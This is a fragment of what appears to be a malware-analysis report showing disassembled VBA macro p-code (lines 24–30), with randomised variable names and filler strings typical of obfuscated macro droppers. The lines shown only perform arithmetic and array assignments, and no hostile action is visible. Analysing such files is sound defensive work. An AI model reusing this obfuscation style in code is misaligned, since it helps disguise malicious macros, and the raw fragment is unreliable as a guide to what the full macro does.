' 	St Nmgknsjgwpur 
' Line #24:
' 	QuoteRem 0x0003 0x000B "Logulllavfe"
' Line #25:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #26:
' 	Dim 
' 	VarDefn Wnkjvyxazbr
' Line #27:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim Wnkjvyxazbr 0x0001 (As Variant)
' Line #28:
' 	Ld ybOTHmE 
' 	LitDI2 0x0000 
' 	ArgsSt Wnkjvyxazbr 0x0001 
' Line #29:
' 	LitStr 0x0006 "Ullam."
' 	LitDI2 0x0001 
' 	ArgsSt Wnkjvyxazbr 0x0001 
' Line #30:
' 	LitDI2 0x01A3 
' 	LitDI2 0x0002 
' 	ArgsSt Wnkjvyxazbr 0x0001 
…

Open this report in the interactive analyzer, or submit your own file for analysis.